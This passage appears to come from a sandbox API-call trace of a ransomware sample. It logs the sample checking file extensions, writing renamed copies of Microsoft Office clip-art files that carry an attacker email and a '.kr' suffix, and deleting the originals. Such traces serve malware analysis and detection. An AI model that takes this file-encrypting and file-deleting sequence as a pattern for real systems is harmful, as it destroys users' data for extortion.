lstrlenW (lpString=".xls") returned 4 [0184.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.034] lstrlenW (lpString=".xlsx") returned 5 [0184.034] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.034] lstrlenW (lpString=".ppt") returned 4 [0184.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.034] lstrlenW (lpString=".zip") returned 4 [0184.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.034] lstrlenW (lpString=".rar") returned 4 [0184.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.034] lstrlenW (lpString=".bz2") returned 4 [0184.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.034] lstrlenW (lpString=".7z") returned 3 [0184.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.034] lstrlenW (lpString=".dbf") returned 4 [0184.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.035] lstrlenW (lpString=".1cd") returned 4 [0184.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.035] lstrlenW (lpString=".jpg") returned 4 [0184.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.035] lstrlenW (lpString=".doc") returned 4 [0184.035] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString=".docx") returned 5 [0184.035] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.035] lstrlenW (lpString=".pdf") returned 4 [0184.035] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString=".xls") returned 4 [0184.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.035] lstrlenW (lpString=".xlsx") returned 5 [0184.035] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.035] lstrlenW (lpString=".ppt") returned 4 [0184.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.035] lstrlenW (lpString=".zip") returned 4 [0184.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.035] lstrlenW (lpString=".rar") returned 4 [0184.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString=".bz2") returned 4 [0184.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.035] lstrlenW (lpString=".7z") returned 3 [0184.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.035] lstrlenW (lpString=".dbf") returned 4 [0184.036] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.036] lstrlenW (lpString=".1cd") returned 4 [0184.036] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68 [0184.036] lstrlenW (lpString=".jpg") returned 4 [0184.036] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.036] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.036] lstrlenW (lpString="BS00224_.WMF") returned 12 [0184.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0184.036] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1588) returned 1 [0184.036] CloseHandle (hObject=0x510) returned 1 [0184.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x220 [0184.037] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0184.037] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.037] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0184.038] GetLastError () returned 0x0 [0184.038] ReadFile (in: hFile=0x510, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x634, lpOverlapped=0x0) returned 1 [0184.039] WriteFile (in: hFile=0x514, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x640, lpOverlapped=0x0) returned 1 [0184.040] ReadFile (in: hFile=0x510, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.040] WriteFile (in: hFile=0x514, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.040] SetEndOfFile (hFile=0x514) returned 1 [0184.040] CloseHandle (hObject=0x514) returned 1 [0184.041] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.041] SetEndOfFile (hFile=0x510) returned 1 [0184.043] CloseHandle (hObject=0x510) returned 1 [0184.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.045] lstrlenW (lpString=".doc") returned 4 [0184.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.045] lstrlenW (lpString=".docx") returned 5 [0184.045] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.045] lstrlenW (lpString=".pdf") returned 4 [0184.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.045] lstrlenW (lpString=".xls") returned 4 [0184.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.045] lstrlenW (lpString=".xlsx") returned 5 [0184.045] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.045] lstrlenW (lpString=".ppt") returned 4 [0184.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.045] lstrlenW (lpString=".zip") returned 4 [0184.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.045] lstrlenW (lpString=".rar") returned 4 [0184.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.045] lstrlenW (lpString=".bz2") returned 4 [0184.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.045] lstrlenW (lpString=".7z") returned 3 [0184.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.045] lstrlenW (lpString=".dbf") returned 4 [0184.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.045] lstrlenW (lpString=".1cd") returned 4 [0184.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.045] lstrlenW (lpString=".jpg") returned 4 [0184.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.046] lstrlenW (lpString=".doc") returned 4 [0184.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString=".docx") returned 5 [0184.046] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.046] lstrlenW (lpString=".pdf") returned 4 [0184.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString=".xls") returned 4 [0184.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.046] lstrlenW (lpString=".xlsx") returned 5 [0184.046] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.046] lstrlenW (lpString=".ppt") returned 4 [0184.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.046] lstrlenW (lpString=".zip") returned 4 [0184.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.046] lstrlenW (lpString=".rar") returned 4 [0184.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString=".bz2") returned 4 [0184.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString=".7z") returned 3 [0184.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.046] lstrlenW (lpString=".dbf") returned 4 [0184.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.046] lstrlenW (lpString=".1cd") returned 4 [0184.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68 [0184.046] lstrlenW (lpString=".jpg") returned 4 [0184.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.047] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.047] lstrlenW (lpString="BS00438_.WMF") returned 12 [0184.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0184.048] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=1212) returned 1 [0184.048] CloseHandle (hObject=0x510) returned 1 [0184.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220 [0184.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0184.048] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.049] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0184.049] GetLastError () returned 0x0 [0184.049] ReadFile (in: hFile=0x510, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4bc, lpOverlapped=0x0) returned 1 [0184.051] WriteFile (in: hFile=0x514, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4c0, lpOverlapped=0x0) returned 1 [0184.052] ReadFile (in: hFile=0x510, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.052] WriteFile (in: hFile=0x514, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.052] SetEndOfFile (hFile=0x514) returned 1 [0184.052] CloseHandle (hObject=0x514) returned 1 [0184.052] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.052] SetEndOfFile (hFile=0x510) returned 1 [0184.055] CloseHandle (hObject=0x510) returned 1 [0184.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1 [0184.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.056] lstrlenW (lpString=".doc") returned 4 [0184.056] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.056] lstrlenW (lpString=".docx") returned 5 [0184.056] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.056] lstrlenW (lpString=".pdf") returned 4 [0184.056] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.056] lstrlenW (lpString=".xls") returned 4 [0184.056] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.056] lstrlenW (lpString=".xlsx") returned 5 [0184.056] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.056] lstrlenW (lpString=".ppt") returned 4 [0184.056] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.056] lstrlenW (lpString=".zip") returned 4 [0184.056] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.056] lstrlenW (lpString=".rar") returned 4 [0184.056] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.056] lstrlenW (lpString=".bz2") returned 4 [0184.056] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.056] lstrlenW (lpString=".7z") returned 3 [0184.056] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.056] lstrlenW (lpString=".dbf") returned 4 [0184.056] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.057] lstrlenW (lpString=".1cd") returned 4 [0184.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.057] lstrlenW (lpString=".jpg") returned 4 [0184.057] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.057] lstrlenW (lpString=".doc") returned 4 [0184.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString=".docx") returned 5 [0184.057] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.057] lstrlenW (lpString=".pdf") returned 4 [0184.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString=".xls") returned 4 [0184.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.057] lstrlenW (lpString=".xlsx") returned 5 [0184.057] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.057] lstrlenW (lpString=".ppt") returned 4 [0184.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.057] lstrlenW (lpString=".zip") returned 4 [0184.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0184.057] lstrlenW (lpString=".rar") returned 4 [0184.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString=".bz2") returned 4 [0184.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString=".7z") returned 3 [0184.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.057] lstrlenW (lpString=".dbf") returned 4 [0184.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0184.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.058] lstrlenW (lpString=".1cd") returned 4 [0184.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0184.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68 [0184.058] lstrlenW (lpString=".jpg") returned 4 [0184.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0184.058] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0184.058] lstrlenW (lpString="BS00439_.WMF") returned 12 [0184.058] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0184.058] GetFileSizeEx (in: hFile=0x510, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2052) returned 1 [0184.058] CloseHandle (hObject=0x510) returned 1 [0184.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220 [0184.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0184.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510 [0184.061] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.061] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514 [0184.062] GetLastError () returned 0x0 [0184.062] ReadFile (in: hFile=0x510, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x804, lpOverlapped=0x0) returned 1 [0184.261] WriteFile (in: hFile=0x514, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x810, lpOverlapped=0x0) returned 1 [0184.262] ReadFile (in: hFile=0x510, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0184.262] WriteFile (in: hFile=0x514, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0184.262] SetEndOfFile (hFile=0x514) returned 1 [0184.262] CloseHandle (hObject=0x514) returned 1 [0184.262] SetFilePointerEx (in: hFile=0x510, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0184.262] SetEndOfFile (hFile=0x510) returned 1 [0184.265] CloseHandle (hObject=0x510) returned 1 [0184.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0184.265] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1 [0184.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.266] lstrlenW (lpString=".doc") returned 4 [0184.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0184.266] lstrlenW (lpString=".docx") returned 5 [0184.266] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0184.266] lstrlenW (lpString=".pdf") returned 4 [0184.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0184.266] lstrlenW (lpString=".xls") returned 4 [0184.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0184.266] lstrlenW (lpString=".xlsx") returned 5 [0184.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0184.266] lstrlenW (lpString=".ppt") returned 4 [0184.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0184.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68 [0184.266] lstrlenW (lpString=".zip") returned 4 [0184.266] lstrcmpiW (lpString1=".zip", 